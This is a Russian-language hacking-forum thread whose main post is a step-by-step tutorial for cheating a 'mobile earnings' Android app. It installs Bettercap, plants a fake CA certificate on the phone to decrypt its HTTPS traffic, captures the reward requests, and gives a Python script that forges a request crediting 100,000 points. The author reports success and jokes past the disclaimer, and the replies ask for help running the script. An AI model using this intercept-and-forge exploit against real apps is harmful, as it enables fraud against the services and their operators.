Статья Бесконечная накрутка в уязвимых android приложениях

Dr.Lafa

Red Team
30.12.2016
368
689
#1
*Здесь могло быть предупреждение о том, что не нужно пользоваться данным методом в целях совершения преступления, но вы же умные ребята, верно?*
Don't try this at home, kids.


Сегодня я хотел бы показать на примере, как халатно относятся разработчики приложений для "мобильного заработка" (заработка разработчиков, естественно) к безопасности своих программ.

Инструменты:
  1. Bettercap
    На Kali Linux:
    sudo apt-get install build-essential ruby-dev libpcap-dev
    sudo apt-get install bettercap
    На других Linux-системах:
    git clone https://github.com/evilsocket/bettercap
    cd bettercap
    gem build bettercap.gemspec
    sudo gem install bettercap*.gem
  2. VM либо телефон на android с play market

Устанавливаем приложение.

Достаточно набрать в поиске гугл плей что-то вроде "Мобильный заработок" или "Накрутка лайков вк" и т.д.
Я выбрал с картинкой посмешнее и названием поглупее.​

Поддельный сертефикат.
Большинство приложений сегодня используют https соеденение. Что бы мы могли расшифровать трафик, будем использовать поддельный сертефикат. Таковой уже имеется в Bettercap в директории /sudo/.bettercap/bettercap-ca.pem . Его нужно установить на телефон (настройки > безопасность > сертефикаты).
Начинаем снифать трафик.
В консоли компьютера пишем:
sudo bettercap -T 192.168.0.100 --proxy-https --sniffer
Где
-T - ip телефона
--proxy-https - использовать прокси с поддельным https сертефикатом для расшифровки траффика
--sniffer - запустить сниффер пакетов.
Снимок экрана из 2017-07-15 19-05-33.png
Исследуем трафик приложения.
Теперь, когда трафик отслеживается, поклацаем по разным кнопкам и попробуем выполнить задание.
Screenshot_2017-07-15-18-52-47.png
Я нашёл для себя интересными два запроса:

получил бонус
[192.168.0.100] POST %ссылка% ( text/html ) [200]

[REQUEST HEADERS]
'User-Agent' : %user_agent%
'Content-Type : application/x-www-form-urlencoded'
'Content-Length : 44'
Host : url.bitcoin-miner.ru
Connection : close
Accept-Encoding : identity

[REQUEST BODY]
userid : %user_id%
points : 100
type : Daily_Reward_v2
Выполнил задание
[192.168.0.100] POST %ссылка% ( text/html ) [200]

[REQUEST HEADERS]
User-Agent : %user_agent%
Content-Type : application/x-www-form-urlencoded
Content-Length : 40
Host : url.bitcoin-miner.ru
Connection : close
Accept-Encoding : identity

[REQUEST BODY]
username : %user_name%
points : 50
type : Vungle_Video
Создаём кастомный запрос.
Поэксперементировав с данными из полученых запросов, пишем скрипт для отправки кастомного запроса:
import requests
link = '%ссылка%'
headers = {'User-Agent' : %user_agent%,
'Content-Type' : 'application/x-www-form-urlencoded',
'Content-Length' : '44',
'Host' : 'url.bitcoin-miner.ru',
'Connection' : 'close',
'Accept-Encoding' : 'identity'}
payload = {'userid' : %user_id%,
'points' : 100000, # да да, можно поставить столько монет, сколько захочешь
'type' : 'Vungle_Video'}
r = requests.post(link, headers=headers, data=payload) # можно запихнуть в цикл, если бы сервис не разрешал менять колличество получаемых очков за раз.
print(r.text)
Запрос выполнился с ответом
{"result":"true","msg":"Points Updated"}
Очки начислены мне на аккаунт, это, кстати говоря, минимальная сумма выплаты (8$)
Screenshot_2017-07-15-19-04-52.png
Итог.
Гугл плей забит подобными приложениями, разработчики которых зарабатывают на желании быстрой наживы у неокрепших умов. Чаще всего, правда, создатели совсем не заботятся о безопасности своего детища. В этом случае мне пришлось поэксперементировать с запросами, но что-то мне подсказывает, что во многих подобных приложениях можно просто циклично переотправить один запрос, выдающий монетки за выполненное задание.

P.S: воровство - это плохо, но исследование трафика и накрутку лайков никто не запрещал ;)
 

Hans

New member
26.11.2016
2
0
#6
мне на конкретно одном примере, так как сам писать думаю прогу под андроид
[doublepost=1500295086,1500294578][/doublepost]
мне на конкретно одном примере, так как сам писать думаю прогу под андроид
помоешь...дай скайп
 

Koro1

New member
30.05.2017
2
0
#7
Выводить не пробовал? Часто на таких проектах вроде бы проверяют на нарутку при выводе средств.
 

Dr.Lafa

Red Team
30.12.2016
368
689
#8
Выводить не пробовал? Часто на таких проектах вроде бы проверяют на нарутку при выводе средств.
Пробовал, не вывели, но это скорее всего какой-то заговор (не выплачивают никому)
 

s1rk0

Well-known member
21.03.2017
350
345
#15
В чем писать скрипт и как его запустить???
Создаешь файл "hack.py", заходим через текстовик и пишем код. Потом через терминал заходим в директорию, где находится наш файл и пишем:
Код:
python hack.py